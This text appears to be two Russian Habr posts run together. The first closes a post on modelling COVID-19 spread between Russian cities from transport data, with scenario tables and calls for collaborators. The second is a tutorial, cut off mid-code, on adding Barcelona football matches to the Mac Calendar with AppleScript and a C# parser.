Выкса 53 71 - 139
Грозный 53 67 - -
Грязи 53 73 - 133
Иркутск 53 66 - -
Канаш 53 74 - 135
Козельск 53 - - 111
Лабинск 53 70 - 142
Нальчик 53 66 - 178
Невинномысск 53 66 - 157
Новомичуринск 53 - - 112
Орехово-Зуево 53 67 - 161
Барнаул 54 68 102 -
Ельня 54 - - 98
Жирновск 54 - - 110
Зверево 54 - - 116
Кашира 54 - - 131
Клинцы 54 72 - 143
Конаково 54 - - 132
Кропоткин 54 69 - 149
Микунь 54 - - 99
Михайлов 54 - - 102
Обоянь 54 - - 104
Семикаракорск 54 - - 118
Сердобск 54 - - 127
Суровикино 54 - - 114
Сясьстрой 54 - - 104
Белореченск 55 74 - 141
Валдай 55 - - 108
Воткинск 55 71 - 161
Дзержинск 55 70 - -
Железногорск 55 72 - 155
Калач-на-Дону 55 - - 121
Кингисепп 55 74 - 135
Котово 55 - - 119
Луга 55 - - 127
Можга 55 77 - 140
Невель 55 - - 108
Нижневартовск 55 68 - -
Опочка 55 - - 101
Орск 55 70 - -
Таруса 55 - - 97
Чаплыгин 55 - - 102
Череповец 55 68 - -
Южа 55 - - 106
Апатиты 56 74 - 143
Благовещенск 56 - - 143
Волжский 56 69 - -
Выборг 56 72 - 152
Геленджик 56 74 - 140
Глазов 56 73 - 161
Ессентуки 56 71 - 158
Жердевка 56 - - 107
Западная Двина 56 - - 98
Ивангород 56 - - 97
Ипатово 56 - - 121
Калязин 56 - - 106
Курган 56 70 - -
Магадан 56 73 - 164
Павлово 56 73 - 142
Порхов 56 - - 99
Суздаль 56 - - 100
Сухиничи 56 - - 109
Уварово 56 - - 122
Усинск 56 - - 137
Александров 57 75 - 145
Белинский 57 - - 94
Зеленокумск 57 - - 133
Кемерово 57 72 - -
Кириши 57 76 - 143
Луховицы 57 - - 126
Нефтекумск 57 - - 124
Новоаннинский 57 - - 112
Острогожск 57 - - 130
Салехард 57 - - 142
Светлоград 57 - - 132
Сортавала 57 - - 114
Сосенский 57 - - 102
Сызрань 57 72 - -
Темников 57 - - 90
Ханты-Мансийск 57 75 - 166
Чудово 57 - - 108
Благодарный 58 - - 129
Велиж 58 - - 91
Вышний Волочёк 58 78 - 141
Калининск 58 - - 110
Кимры 58 77 - 139
Магнитогорск 58 74 - -
Медынь 58 - - 93
Навашино 58 - - 111
Надым 58 - - 143
Новохопёрск 58 - - 88
Ноябрьск 58 74 - 168
Рузаевка 58 - - 142
Спасск 58 - - 90
Туапсе 58 75 - 146
Улан-Удэ 58 74 - -
Южно-Сахалинск 58 74 - -
Юхнов 58 - - 90
Якутск 58 73 - -
Бежецк 59 - - 123
Бобров 59 - - 116
Гаврилов Посад 59 - - 87
Городовиковск 59 - - 97
Гусь-Хрустальный 59 78 - 148
Евпатория 59 75 - 167
Задонск 59 - - 97
Зубцов 59 - - 90
Кирсанов 59 - - 111
Новозыбков 59 - - 139
Олонец 59 - - 96
Петропавловск-Камчатский59 76 - -
Сольцы 59 - - 98
Харабали 59 - - 114
Шацк 59 - - 88
Бологое 60 - - 123
Вытегра 60 - - 100
Гороховец 60 - - 107
Дорогобуж 60 - - 100
Звенигород 60 - - 112
Изобильный 60 - - 139
Котлас 60 81 - 151
Краснослободск 60 - - 111
Льгов 60 - - 120
Новоалександровск 60 - - 125
Новокузнецк 60 74 - -
Окуловка 60 - - 104
Пролетарск 60 - - 118
Саров 60 77 - 163
Сасово 60 - - 127
Спас-Клепики 60 - - 85
Торжок 60 - - 140
Унеча 60 - - 125
Устюжна 60 - - 97
Балабаново 61 - - 127
Бутурлиновка 61 - - 125
Верея 61 - - 82
Каменка 61 - - 138
Лазаревское 61 78 - 164
Новочебоксарск 61 79 - 179
Печоры 61 - - 103
Себеж 61 - - 87
Сергач 61 - - 121
Сланцы 61 - - 134
Азов 62 82 - 167
Аксай 62 - - 143
Весьегонск 62 - - 93
Воскресенск 62 83 - 173
Вятские Поляны 62 - - 138
Демидов 62 - - 91
Димитровград 62 79 - 175
Дно 62 - - 96
Донской 62 85 - 160
Жиздра 62 - - 84
Инсар 62 - - 96
Ковылкино 62 - - 123
Кулебаки 62 - - 139
Лысково 62 - - 122
Нижний Тагил 62 77 - -
Питкяранта 62 - - 103
Поворино 62 - - 116
Серафимович 62 - - 99
Судогда 62 - - 104
Тутаев 62 - - 142
Цимлянск 62 - - 111
Чита 62 80 - -
Шумерля 62 - - 135
Абакан 63 81 - -
Алатырь 63 - - 142
Бузулук 63 85 - 171
Знаменск 63 - - 133
Кизляр 63 - - 148
Короча 63 - - 85
Лиски 63 89 - 155
Малоярославец 63 - - 135
Ртищево 63 - - 144
Суджа 63 - - 86
Тихорецк 63 86 - 158
Торопец 63 - - 108
Березники 64 79 - -
Вельск 64 - - 127
Дербент 64 85 - -
Нефтекамск 64 85 - -
Норильск 64 83 - -
Родники 64 - - 132
Славянск-на-Кубани 64 88 - 160
Тобольск 64 81 - 172
Щигры 64 - - 118
Агрыз 65 - - 129
Братск 65 81 - -
Волгореченск 65 - - 117
Дмитров 65 91 - 164
Донецк 65 - - 154
Кореновск 65 - - 147
Коряжма 65 - - 149
Кубинка 65 - - 129
Лакинск 65 - - 117
Миасс 65 82 - -
Мирный 65 - - 150
Нарьян-Мар 65 - - 125
Петушки 65 - - 116
Покров 65 - - 120
Псебай 65 - - 105
Пустошка 65 - - 78
Пучеж 65 - - 97
Сандово 65 - - 92
Севск 65 - - 93
Староминская 65 - - 146
Стерлитамак 65 82 - -
Темрюк 65 - - 146
Фурманов 65 - - 144
Бугульма 66 88 - 176
Воркута 66 91 - 170
Гдов 66 - - 76
Зеленодольск 66 89 - -
Златоуст 66 82 - -
Малая Вишера 66 - - 110
Медвежьегорск 66 - - 115
Рудня 66 - - 102
Старица 66 - - 101
Удомля 66 - - 134
Фатеж 66 - - 84
Алушта 67 - - 136
Альметьевск 67 85 - -
Горячий Ключ 67 - - 137
Духовщина 67 - - 76
Инза 67 - - 125
Каменногорск 67 - - 92
Крымск 67 - - 163
Кызыл 67 88 - -
Мантурово 67 - - 119
Моздок 67 - - 144
Мосальск 67 - - 75
Няндома 67 - - 131
Почеп 67 - - 125
Прохладный 67 96 - 162
Талдом 67 - - 116
Тимашёвск 67 - - 160
Анадырь 68 - - 115
Волжск 68 - - 167
Вуктыл 68 - - 110
Георгиевск 68 93 - 172
Губаха 68 - - 142
Клин 68 95 - -
Костомукша 68 - - 135
Кувшиново 68 - - 107
Никольск 68 - - 100
Павловский Посад 68 100 - 173
Печора 68 - - 152
Усть-Лабинск 68 - - 157
Шадринск 68 88 - 169
Шатура 68 - - 145
Янаул 68 - - 139
Алапаевск 69 - - 152
Бежаницы 69 - - 73
Дагомыс 69 97 - 179
Ершов 69 - - 129
Кириллов 69 - - 97
Когалым 69 - - 161
Краснотурьинск 69 96 - 164
Курганинск 69 - - 162
Курчатов 69 - - 159
Нерюнгри 69 - - 174
Новый Оскол 69 - - 128
Реж 69 - - 153
Рыбное 69 - - 127
Серов 69 90 - -
Фролово 69 - - 153
Хоста 69 95 - -
Цивильск 69 - - 117
Бийск 70 87 - -
Волхов 70 - - 159
Данилов 70 - - 122
Качканар 70 - - 156
Красный Холм 70 - - 89
Макарьев 70 - - 95
Маркс 70 - - 144
Мегион 70 - - 156
Невьянск 70 - - 141
Нижняя Тура 70 - - 139
Новосокольники 70 - - 100
Починок 70 - - 103
Снежинск 70 - - 160
Суоярви 70 - - 105
Сычёвка 70 - - 100
Шарья 70 - - 136
Ачинск 71 92 - -
Домодедово 71 98 - -
Кандалакша 71 - - 153
Краснокамск 71 - - 171
Кстово 71 - - 178
Лахденпохья 71 - - 100
Лоо 71 - - 101
Максатиха 71 - - 99
Оленегорск 71 - - 137
Соликамск 71 93 - -
Туймазы 71 105 - 177
Железнодорожный 72 100 - -
Каменск-Уральский 72 93 - -
Канск 72 94 - -
Новокуйбышевск 72 99 - -
Новопавловск 72 - - 144
Нурлат 72 - - 148
Рошаль 72 - - 138
Сегежа 72 - - 148
Сысерть 72 - - 136
Тавда 72 - - 150
Тейково 72 - - 156
Аткарск 73 - - 144
Бабаево 73 - - 116
Барыш 73 - - 131
Емва 73 - - 124
Зеленогорск (ЗАТО) 73 105 - 175
Калач 73 - - 136
Кировград 73 - - 138
Котельнич 73 - - 145
Лихославль 73 - - 115
Нариманов 73 - - 115
Наро-Фоминск 73 - - -
Нерехта 73 - - 141
Очёр 73 - - 127
Палласовка 73 - - 126
Приволжск 73 - - 130
Пыть-Ях 73 - - 155
Саки 73 - - 140
Салават 73 96 - -
Сатка 73 - - 159
Чистополь 73 - - 175
Чусовой 73 - - 161
Шахунья 73 - - 138
Андреаполь 74 - - 104
Буй 74 - - 148
Верхний Тагил 74 - - 122
Гаврилов-Ям 74 - - 131
Дегтярск 74 - - 129
Ирбит 74 - - 155
Лабытнанги 74 - - 149
Павловская 74 - - -
Североуральск 74 - - 148
Удачный 74 - - 123
Хвалынск 74 - - 120
Кондрово 75 - - 131
Онега 75 - - 143
Сокол 75 - - 164
Сухой Лог 75 - - 155
Тотьма 75 - - 111
Усть-Кут 75 - - 174
Чебаркуль 75 - - 162
Энгельс 75 101 - -
Юрьевец 75 - - 113
Аша 76 - - 152
Баксан 76 - - 160
Белоярский 76 - - 138
Болгар 76 - - 107
Дубна 76 - - -
Иловля 76 - - 119
Карпинск 76 - - 151
Кыштым 76 - - 158
Лаишево 76 - - 104
Нефтеюганск 76 100 - -
Новоуральск 76 106 - -
Северодвинск 76 108 - -
Советский 76 - - 149
Солнечногорск 76 - - -
Чернушка 76 - - 153
Бавлы 77 - - 142
Гатчина 77 117 - -
Козьмодемьянск 77 - - 146
Красноуфимск 77 - - -
Кумертау 77 - - -
Лесной 77 - - 175
Минусинск 77 - - -
Назарово 77 - - 173
Октябрьский 77 110 - -
Первомайск 77 - - 131
Саяногорск 77 - - 172
Стародуб 77 - - 141
Струнино 77 - - 131
Тулун 77 - - 174
Усмань 77 - - 141
Хадыженск 77 - - 144
Ардатов 78 - - 115
Болхов 78 - - 122
Бронницы 78 - - 146
Верхняя Салда 78 - - 168
Галич 78 - - 138
Голицыно 78 - - 139
Горнозаводск 78 - - 123
Ишим 78 - - -
Касли 78 - - 134
Красноармейск 78 - - 153
Меленки 78 - - 131
Нягань 78 - - 178
Сураж 78 - - 123
Талица 78 - - 136
Щучье 78 - - 121
Абинск 79 - - 169
Горно-Алтайск 79 - - -
Губкинский 79 - - 142
Далматово 79 - - 128
Дальнегорск 79 - - 164
Карталы 79 - - 152
Катайск 79 - - 132
Куса 79 - - 139
Мглин 79 - - 109
Николаевск 79 - - 132
Первоуральск 79 108 - -
Сосногорск 79 - - 158
Уржум 79 - - 119
Учалы 79 - - 162
Александровск 80 - - 130
Артёмовский 80 - - 161
Балашиха 80 117 - -
Белово 80 - - -
Боготол 80 - - 147
Инта 80 - - 167
Камешково 80 - - 128
Камышлов 80 - - 153
Котельниково 80 - - 148
Красноуральск 80 - - 151
Лысьва 80 - - -
Сорочинск 80 - - 160
Троицк 80 - - -
Туринск 80 - - 139
Чапаевск 80 - - -
Юрга 80 116 - -
Абдулино 81 - - 145
Заозёрный 81 - - 126
Катав-Ивановск 81 - - 138
Кунгур 81 - - -
Оса 81 - - 146
Радужный 81 - - 137
Рубцовск 81 108 - -
Черноморское 81 - - 125
Южно-Сухокумск 81 - - 121
Южноуральск 81 - - 167
Аркадак 82 - - 132
Батайск 82 130 - -
Белокуриха 82 - - 140
Беслан 82 - - 176
Верхний Уфалей 82 - - 159
Верхняя Тура 82 - - 119
Железноводск 82 - - 159
Кизилюрт 82 - - 176
Лениногорск 82 - - -
Урень 82 - - 129
Боровичи 83 - - -
Бугуруслан 83 - - -
Дюртюли 83 - - 170
Лесосибирск 83 - - -
Мамадыш 83 - - 134
Новотроицк 83 - - -
Саянск 83 - - 177
Судак 83 - - 140
Хотьково 83 - - 156
Шумиха 83 - - 140
Бородино 84 - - 143
Дивногорск 84 - - 161
Кемь 84 - - 131
Комсомольск 84 - - 116
Кувандык 84 - - 166
Любим 84 - - 95
Хасавюрт 84 132 - -
Большой Камень (ЗАТО) 85 - - 174
Колпино 85 135 - -
Комсомольск-на-Амуре 85 117 - -
Новомихайловский 85 - - 127
Пласт 85 - - 141
Тайшет 85 - - 172
Харовск 85 - - 122
Анжеро-Судженск 86 - - -
Карабаш 86 - - 134
Кондопога 86 - - 179
Лангепас 86 - - -
Нижние Серги 86 - - 128
Полярные Зори 86 - - 142
Тында 86 - - 178
Шушенское 86 - - 145
Ангарск 87 117 - -
Жигулёвск 87 - - -
Ивдель 87 - - 147
Кодинск 87 - - 140
Мелеуз 87 - - -
Пыталово 87 - - 99
Сим 87 - - 137
Уссурийск 87 126 - -
Шарыпово 87 - - 176
Асбест 88 - - -
Беломорск 88 - - 129
Дмитриев-Льговский 88 - - 114
Заволжск 88 - - 133
Лукоянов 88 - - 144
Майский 88 - - 174
Михайловск 88 - - 122
Находка 88 131 - -
Новая Ляля 88 - - 133
Новоузенск 88 - - 149
Пестово 88 - - 148
Подпорожье 88 - - 156
Тара 88 - - 163
Ужур 88 - - 144
Югорск 88 - - 179
Белозерск 89 - - 124
Кугеси 89 - - 137
Ленинск-Кузнецкий 89 - - -
Богданович 90 - - 179
Гудермес 90 - - -
Енисейск 90 - - 153
Кавалерово 90 - - 140
Подольск 90 148 - -
Славгород 90 - - 174
Стрежевой 90 - - -
Усть-Катав 90 - - 161
Барабинск 91 - - 175
Белогорск 91 - - -
Верещагино 91 - - 170
Верхнеуральск 91 - - 124
Дубовка 91 - - 145
Заводоуковск 91 - - 170
Усолье-Сибирское 91 - - -
Яранск 91 - - 154
Азнакаево 92 - - -
Елабуга 92 - - -
Красный Кут 92 - - 148
Куртамыш 92 - - 149
Кушва 92 - - 178
Менделеевск 92 - - 168
Нея 92 - - 129
Нижнеудинск 92 - - -
Петров Вал 92 - - 140
Тюкалинск 92 - - 134
Мензелинск 93 - - 153
Мотыгино 93 - - 104
Пушкино 93 - - -
Сибай 93 - - -
Уяр 93 - - 139
Гулькевичи 94 - - -
Нязепетровск 94 - - 138
Прокопьевск 94 143 - -
Абаза 95 - - 155
Заречный 95 - - -
Иланский 95 - - 152
Кораблино 95 - - 145
Крутинка 95 - - 112
Мариинск 95 - - -
Пудож 95 - - 129
Ревда 95 - - -
Сковородино 95 - - 129
Чехов 95 - - -
Арсеньев 96 - - -
Бодайбо 96 - - 150
Дальнереченск 96 - - 178
Черногорск 96 - - -
Кизел 97 - - 168
Коркино 97 - - -
Приобье 97 - - 115
Тосно 97 - - -
Асино 98 - - 179
Краснокаменск 98 - - -
Междуреченск 98 - - -
Ожерелье 98 - - 137
Тайга 98 - - 172
Трёхгорный 98 - - -
Грязовец 99 - - 159
Еманжелинск 99 - - -
Ленск 99 - - 174
Покачи 99 - - 158
Алзамай 100 - - 113
Ишимбай 100 - - -
Медногорск 100 - - -
Николаевск-на-Амуре 100 - - 175
Юрюзань 100 - - 144
Лесозаводск 101 - - -
Красновишерск 102 - - 162
Отрадный 102 - - -
Перевоз 102 - - 132
Горняк 103 - - 147
Искитим 103 - - -
Колпашево 103 - - -
Свободный 103 - - -
Фокино (ЗАТО) 103 - - -
Кудымкар 104 - - -
Новоалтайск 104 - - -
Берёзово 105 - - 112
Добрянка 105 - - -
Зима 105 - - -
Ноглики 105 - - 135
Татарск 105 - - -
Гурьевск 106 - - 147
Нытва 106 - - 174
Алейск 107 - - -
Полевской 107 - - -
Северобайкальск 107 - - -
Биробиджан 109 - - -
Советская Гавань 109 - - -
Ялуторовск 109 - - -
Змеиногорск 110 - - 140
Оха 110 - - -
Арамиль 111 - - 160
Камень-на-Оби 111 - - -
Пугачёв 112 - - -
Яровое 114 - - 172
Исилькуль 115 - - -
Волчанск 117 - - 137
Славянка 117 - - -
Похвистнево 121 - - -
Партизанск 122 - - -
Семёнов 122 - - -
Спасск-Дальний 123 - - -
Усть-Илимск 123 - - -
Камбарка 124 - - 144
Урай 125 - - -
Петровск-Забайкальский 131 - - -
Белорецк 133 - - -
Киселёвск 133 - - -
Бердск 134 - - -
Балей 135 - - 155
Бикин 136 - - -
Железногорск-Илимский 141 - - -
Вихоревка 156 - - -
Шимановск 163 - - -
Бор 168 - - -
Борзя 172 - - -
Шахтерск 173 - - -
```
В модели также есть Алдан, Аргун, Арск, Артышта, Артём, Артёмовск, Аян, Бабушкин, Багдарин, Байкальск, Байкит, Батагай, Белая Гора, Белый, Берёзовый, Богородское, Болотное, Буинск, Ванавара, Ванино, Великий Устюг, Верхневилюйск, Верхотурье, Вилюйск, Вяземский, Гремячинск, Гусиноозёрск, Давлеканово, Депутатский, Диксон, Долинск, Ербогачён, Жиганск, Жуковка, Забайкальск, Завитинск, Заинск, Залахтовье, Заринск, Злынка, Зуевка, Зырянка, Игарка, Игрим, Избербаш, Изборск, Известковый, Казачинское, Калачинск, Калевала, Карагайский, Карасук, Карачев, Каргасок, Каргат, Кепервеем, Кинель, Киренск, Кола, Кослан, Красный Чикой, Купино, Курильск, Ленинск, Лобня, Луза, Любань, Макаров, Макушино, Малоархангельск, Мама, Манжерок, Мещовск, Миньяр, Могоча, Мураши, Мыски, Мытищи, Называевск, Нарткала, Нижнеангарск, Новоабзаково, Новоржев, Новосиль, Нюрба, Облучье, Обь, Озеро-Карачинское, Озёрск, Оленёк, Олёкминск, Омолон, Омсукчан, Охотск, Павелец, Певек, Пено, Петухово, Плёс, Поронайск, Пржевальское, Пряжа, Саккырыр, Салми, Саскылах, Светлогорск (Красноярск.), Северо-Енисейский, Сеймчан, Симеиз, Синяя Осока, Слюдянка, Соль-Илецк, Сонково, Сорск, Сосновка, Спас-Деменск, Среднеколымск, Сретенск, Сунтар, Сусуман, Таксимо, Талакан, Терек, Тикси, Тогучин, Толька, Томмот, Топки, Тура, Туран, Туруханск, Усть-Качка, Усть-Кокса, Усть-Куйга, Усть-Нера, Усть-Цильма, Хандыга, Хатанга, Хилок, Холм, Хонуу, Хотынец, Чара, Чемал, Черемхово, Черепаново, Чернолучье, Черский, Чокурдах, Чулым, Чумикан, Чёрмоз, Шилка, Эвенск, Южно-Курильск — эти города либо заражаются позднее моделируемого периода, либо не набирают 1000 инфицированных.
Сценарий 2
----------
Самый «изолированный» сценарий. В нём остаются только 10% от трафика перевозок, то есть попадать из одной точки в другую становится куда тяжелее, но возможно. Это не полный карантин, а существенное снижение связности. Люди внутри городов не ходят на ярмарки и стараются самоизолироваться, но делают это не идеально, а в меру своего понимания. Моделируется период в 180 дней (соответственно, Барнаул, набравший тысячу больных на 174-й день модели не успеет набрать меньше тысячи больных в процессе «придавливания» эпидемии). Города, которых нет в таблице, не набирают больше 1000 больных или не заражаются.
```
Город >1000 >10.000 >100.000 <1000
Москва 18 33 51 -
Ижевск 40 60 - -
Киров 42 - - 158
Нижний Новгород 45 66 - -
Архангельск 46 68 - -
Брянск 46 67 - -
Санкт-Петербург 46 62 88 -
Ростов-на-Дону 56 76 - -
Сыктывкар 61 91 - -
Воронеж 62 86 - -
Ярославль 63 88 - -
Переславль-Залесский 65 - - 172
Рязань 65 91 - -
Пенза 66 94 - -
Тула 66 93 - -
Симферополь (Крым) 68 99 - -
Алексин 69 - - -
Калуга 69 108 - -
Киржач 69 - - 160
Белгород 70 103 - -
Казань 70 103 - -
Липецк 70 104 - -
Иваново 71 105 - -
Краснодар 71 104 - -
Саратов 71 105 - -
Астрахань 72 109 - -
Каменск-Шахтинский 72 - - -
Смоленск 72 110 - -
Сочи 72 109 - -
Тамбов 72 112 - -
Волгоград 73 108 - -
Елец 73 - - -
Ставрополь 74 113 - -
Владимир 75 118 - -
Ржев 75 - - -
Кольчугино 77 - - -
Минеральные Воды 77 - - -
Чебоксары 77 128 - -
Старый Оскол 78 - - -
Волгодонск 80 - - -
Курск 81 - - -
Таганрог 81 - - -
Узловая 81 - - -
Ливны 82 - - -
Моршанск 82 - - -
Орёл 82 - - -
Екатеринбург 83 166 - -
Скопин 83 - - 168
Вологда 84 - - -
Касимов 84 - - 173
Кострома 84 - - -
Пущино 84 - - 149
Самара 84 178 - -
Белая Калитва 85 - - -
Нелидово 85 - - 157
Псков 85 - - -
Уфа 85 - - -
Великие Луки 86 - - -
Махачкала 86 - - -
Шахты 86 - - -
Калининград 87 - - -
Богородицк 88 - - 175
Пермь 89 - - -
Данков 90 - - 155
Йошкар-Ола 90 - - -
Вязьма 91 - - -
Новочеркасск 91 - - -
Кашин 92 - - 141
Рыбинск 92 - - -
Таруса 92 - - 117
Углич 92 - - -
Нижний Ломов 93 - - 160
Дятьково 94 - - 175
Михайлов 94 - - 126
Муром 94 - - -
Новгород Великий 94 - - -
Новосибирск 94 - - -
Осташков 94 - - 147
Тюмень 94 - - -
Лебедянь 95 - - 157
Мурманск 96 - - -
Саранск 96 - - -
Челябинск 96 - - -
Анапа 97 - - -
Кинешма 97 - - -
Ульяновск 97 - - -
Валуйки 98 - - -
Гагарин 98 - - -
Десногорск 98 - - 178
Ейск 98 - - -
Балашов 99 - - -
Зарайск 99 - - 167
Камышин 99 - - -
Красноярск 99 - - -
Можайск 99 - - -
Обнинск 99 - - -
Омск 99 - - -
Рославль 99 - - -
Руза 99 - - 135
Химки 99 - - -
Оренбург 100 - - -
Рассказово 100 - - -
Сафоново 100 - - -
Сургут 100 - - -
Балаково 101 - - -
Людиново 101 - - -
Озёры 102 - - 171
Ухта 102 - - -
Владикавказ 103 - - -
Ряжск 103 - - 161
Ярцево 103 - - -
Богучар 104 - - 128
Вязники 104 - - -
Губкин 104 - - -
Ковров 104 - - -
Миллерово 104 - - -
Тихвин 104 - - -
Волоколамск 105 - - 165
Мценск 105 - - -
Сергиев Посад 105 - - -
Элиста 105 - - -
Юрьев-Польский 105 - - 154
Новошахтинск 107 - - -
Петровск 107 - - -
Шуя 107 - - -
Мичуринск 108 - - -
Тверь 108 - - -
Назрань 109 - - -
Протвино 110 - - -
Егорьевск 111 - - -
Керчь 111 - - -
Урюпинск 111 - - -
Нижнекамск 112 - - -
Кузнецк 113 - - -
Павловск 113 - - 169
Петрозаводск 114 - - -
Ростов Великий 114 - - -
Майкоп 116 - - -
Россошь 117 - - -
Борисоглебск 118 - - -
Коломна 118 - - -
Хабаровск 118 - - -
Владивосток 119 - - -
Серпухов 119 - - -
Морозовск 120 - - 174
Арзамас 122 - - -
Чайковский 124 - - -
Армавир 125 - - -
Михайловка 126 - - -
Томск 126 - - -
Красный Сулин 127 - - -
Ялта 127 - - -
Алексеевка 128 - - -
Ахтубинск 128 - - -
Севастополь 128 - - -
Феодосия 129 - - -
Кисловодск 130 - - -
Гуково 131 - - -
Ступино 131 - - -
Будённовск 133 - - -
Новый Уренгой 133 - - -
Иркутск 135 - - -
Пятигорск 135 - - -
Орехово-Зуево 137 - - -
Выкса 141 - - -
Сальск 141 - - -
Вольск 145 - - -
Тольятти 148 - - -
Грязи 150 - - -
Канаш 151 - - -
Грозный 157 - - -
Конаково 161 - - 176
Адлер 164 - - -
Сарапул 164 - - -
Набережные Челны 173 - - -
Барнаул 174 - - -
```
Я ещё раз напомню, что это моделирование распространения инфекции между городами, а не учёт смертности и остального. Вы можете помочь ODS, написав в личку [mephistopheies](https://habr.com/ru/users/mephistopheies/).
**Ещё важное:** центр в Сколтехе решил выделить вычислительное время на суперкомпьютере Zhores для моделирования задач, так или иначе связанных со сдерживанием эпидемии. У них есть CPU-ноды (небольшая часть, но есть) и GPU-ноды (в нодах стоят по 4 Tesla P100). Если у вас есть распараллеленный под MPI CPU код или необходимость посчитать модели в параллельном режиме на GPU — подходит. Можно приносить любые задачи, которые как-нибудь связаны с борьбой с эпидемией, например по молекулярному моделированию, моделированию транспортных потоков и т.п. Контакты: sergey.sosnin@skoltech.ru или можно подать заявку [напрямую](https://docs.google.com/forms/d/e/1FAIpQLSeygsl6yZVJG8sx06ZbPhHo5eTVVe6iLzU_7YX5T_ksJX4SoA/viewform).
Что это значит?
---------------
Российская логистика — одна из самых сложных в мире. У нас очень много изолированных городов, население значительно раскидано по планете, огромные пустые территории. Из плотносвязанного на западе граф превращается в слабосвязанный на востоке.
Это может означать, что можно отрезать существенные части графа от основных очагов (но, похоже, уже поздно из-за возвращавшихся в разные крупные города из-за границы).
Модели без учёта такого распространения очень сильно ограничены отсутствием нужных данных.
Сейчас фактор неравномерности населения означает, что можно резко переменить ход развития эпидемии, перекрывая транспортное сообщение.
Главный коммерческий вывод — возможно, локдаун сейчас дешевле, чем последствия дальше.
Я приглашаю вас не верить мне на слово, а расколупать модель, поковыряться в CSV и коде, докрутить и улучшить результат, который предоставило ODS. Собственно, сейчас сообщество работает над уточнениями модели.
И особо отмечу, что тот факт, что сообщество взялось за проект, сделало его и открывает результат — это огромный прецедент в пользу того, что сами данные нужно открывать. Потому что иногда они крайне полезны, даже если у вас нет времени или возможности с ними что-то сделать.
[Ссылки в одном месте](https://story.tutu.ru/dataset-tutu-ru-i-dannye-modeli-open-data-science/), большой [пост с кучей ссылок](https://habr.com/ru/company/tuturu/blog/493250/) на разные исследования, [mephistopheies](https://habr.com/ru/users/mephistopheies/) — ваш вход в ODS, если вы хотите помочь. [Пост ODS](https://habr.com/ru/company/ods/blog/493200/) от [grisme](https://habr.com/ru/users/grisme/) с внутренностями модели и допущениями, ссылкой на [репозиторий](https://github.com/ods-ai-ml4sg/covid19-tutu). | https://habr.com/ru/post/494700/ | null | ru | null |
# Зачем выполнять рутинную работу, когда её можно поручить машине?
В очередной раз пересматривая «Железного Человека» вместе с другом, меня снова пропитывало желание ~~стать супергероем~~ создать свой железный костюм, ну или *хотя бы* Джарвиса. И вдруг меня посетила гениальная идея.
**Лирическое отступление**Пару дней назад был матч СуперКубка Европы 2015 по футболу, который я включил лишь на 70 минуте. Да, я досмотрел оставшуюся часть игры, но все равно остался неприятный осадок из-за того, что 70 минут отличного футбола я смогу посмотреть лишь в записи (что, как вы понимаете, совсем не то), ведь я как-то напрочь забыл про то, что летом тоже идут официальные матчи. Поплакали и хватит.
Так вот, с недавнего времени я начал активно пользовался системным календарём на Mac, и подумал, а почему бы не добавить все игры Барсы в этот самый календарь?
[](http://habrahabr.ru/post/265393/)
Terminal Mac
------------
Так-с, надо с чего-то начать. Ага, нужно понять, как создавать события в Календаре с помощью кода, т.е. нам нужно Mac Calendar API. Первым делом полез в терминал, и введя
```
Mac:~ dima$ whatis calendar
```
получаем несколько команд:
```
Mac:~ dima$ whatis calendar
cal(1), ncal(1) - displays a calendar and the date of easter
calendar(1) - reminder service
iwidgets_calendar(n), iwidgets::calendar(n) - Create and manipulate a monthly calendar
widget_calendar(n) - widget::calendar Megawidget
```
Все эти команды относительно похожи и имеют примерно одинаковый функционал, выводя различными способами календарь, в том числе в качестве виджета. Но это немного не то, что нам нужно, ведь мы хотим создать отдельный календарь с событиями.
Немного погуглив, я вышел на язык скрипта для Mac — **AppleScript**, в котором содержится какое-никакое API всех встроенных приложений в формате так называемых «словарей» (вполне возможно, что слишком неумело гуглил, поэтому ничего лучше **AppleScript**) не нашел.
Немного AppleScript
-------------------
Открыв редактор скриптов и немного изучив встроенный «словарь» команд, периодически ~~принося жертвоприношения божествам поиска~~ используя гугл, я понял, что создать событие вполне возможно (правда пришлось «пободаться» с этим языком, особенно с датами):
```
set startDate to date "суббота, 25 августа 2015 г., 0:00:00"
set endDate to date "суббота, 25 августа 2015 г., 10:00:00"
tell application "Calendar"
tell calendar "Развлечения, отдых"
make new event with properties {description:"Test", summary:"Something", start date:startDate, allday event:true}
end tell
end tell
```
Отлично, зафиксируем успех, перекусим и пойдем дальше.
Будем парсить!
--------------
Открываем **Xamarin Studio**, устанавливаем **HtmlAgillityPack** **NuGet**-пакет с помощью встроенного контекстного меню, и проверяем, появился ли он в Пакетах.
[](https://habrastorage.org/files/85b/103/433/85b103433db74b4e86b3f23a2a632698.png)
[](https://habrastorage.org/files/0f7/0cd/79a/0f70cd79a54149788d4894eec2960f28.png)
[](https://habrastorage.org/files/c45/598/42f/c4559842fe4f4be3ac6ff7c71758de5f.png)
Не забываем подключить установленный пакет с помощью директивы using и начинаем писать код. Начнём с класса **SingleMatch**, в котором будем хранить все то, что мы напарсим. Создадим авто-реализуемые свойства, т.к. нам не нужна здесь логика выполнения, два конструктора (с параметрами и без) и переопределим стандартный для всех классов метод **ToString()**.
**SingleMatch.cs**
```
using System;
namespace barca_matches_to_the_calendar
{
///
/// Класс одного матча.
///
public class SingleMatch
{
///
/// Дата времени начала матча.
///
/// Время начала матча типа .
public DateTime StartTime
{
get;
set;
}
///
/// Название турнира.
///
/// Название турнира.
public string Tournament
{
get;
set;
}
///
/// Наименование ФК-соперника.
///
/// Наименование ФК - соперника.
public string Rival
{
get;
set;
}
///
/// Место матча (в гостях/дома).
///
/// Место ("В гостях"/"Дома").
public string Place
{
get;
set;
}
///
/// Создает объект класса SingleMatch
/// class.
///
public SingleMatch()
{
StartTime = new DateTime();
Tournament = null;
Rival = null;
Place = null;
}
///
/// Создаёт объект класса SingleMatch
/// class.
///
/// Время начала матча.
/// Турнир.
/// Соперник.
/// Место (в гостях/дома).
public SingleMatch(DateTime startTime,
string tournament,
string rival,
string place)
{
StartTime = startTime;
Tournament = tournament;
Rival = rival;
Place = place;
}
///
/// Возращает a , которая является текстовым
/// представлением .
///
///
/// Возращает a , которая является текстовым
/// представлением .
///
public override string ToString()
{
return string.Format("Время начала матча={0}, турнир={1}, соперник={2}, место={3}",
StartTime, Tournament, Rival, Place);
}
}
}
```
Т.к. у нас не один матч, а несколько, мы будем хранить их в списке. Но раз уж мы сохраняем календарь одного выбранного ФК, вынесем его название в отдельное свойство и создадим еще один класс для хранения всех матчей.
**Matches.cs**
```
using System.Collections.Generic;
namespace barca_matches_to_the_calendar
{
public class Matches
{
///
/// Название ФК.
///
